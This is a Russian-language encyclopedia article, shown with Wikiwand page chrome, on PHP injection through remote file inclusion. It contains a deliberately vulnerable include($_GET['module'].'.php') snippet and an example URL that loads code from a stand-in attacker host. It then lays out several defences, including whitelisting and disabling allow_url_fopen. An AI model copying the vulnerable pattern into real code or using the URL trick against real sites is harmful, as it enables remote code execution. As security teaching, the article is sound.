For faster navigation, this Iframe is preloading the Wikiwand page for PHP-инъекция.

PHP-инъекция

Материал из Википедии — свободной энциклопедии

PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:

  • eval(),
  • preg_replace() (с модификатором «e»),
  • require_once(),
  • include_once(),
  • include(),
  • require(),
  • create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

<?
...
$module = $_GET['module'];
include ($module.'.php');
...
?>

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты

[править | править код]

Существует несколько способов защиты от такой атаки:

  • Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>
  • Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>

Этот способ является более эффективным, красивым и аккуратным.

  • Прописать каждое значение через if
<?
...
$module = $_GET['module'];
if ($module == 'main') include 'main.php';
if ($module == 'about') include 'about.php';
if ($module == 'links') include 'links.php';
if ($module == 'forum') include 'forum.php';
...
?>
  • Использовать оператор switch:
<?
...
$module = $_GET['module'];
switch($module){
case 'about':
case 'links':
case 'forum': 
    include "{$module}.php"; break;
default: include 'main.php';
}
...
?>

Это решение аналогично решению с if, но имеет более компактную запись.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путём изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

{{bottomLinkPreText}} {{bottomLinkText}}
PHP-инъекция
Listen to this article

This browser is not supported by Wikiwand :(
Wikiwand requires a browser with modern capabilities in order to provide you with the best reading experience.
Please download and use one of the following browsers:

This article was just edited, click to reload
This article has been deleted on Wikipedia (Why?)

Back to homepage

Please click Add in the dialog above
Please click Allow in the top-left corner,
then click Install Now in the dialog
Please click Open in the download dialog,
then click Install
Please click the "Downloads" icon in the Safari toolbar, open the first download in the list,
then click Install
{{::$root.activation.text}}

Install Wikiwand

Install on Chrome Install on Firefox
Don't forget to rate us

Tell your friends about Wikiwand!

Gmail Facebook Twitter Link

Enjoying Wikiwand?

Tell your friends and spread the love:
Share on Gmail Share on Facebook Share on Twitter Share on Buffer

Our magic isn't perfect

You can help our automatic cover photo selection by reporting an unsuitable photo.

This photo is visually disturbing This photo is not a good choice

Thank you for helping!


Your input will affect cover photo selection, along with input from other users.

X

Get ready for Wikiwand 2.0 🎉! the new version arrives on September 1st! Don't want to wait?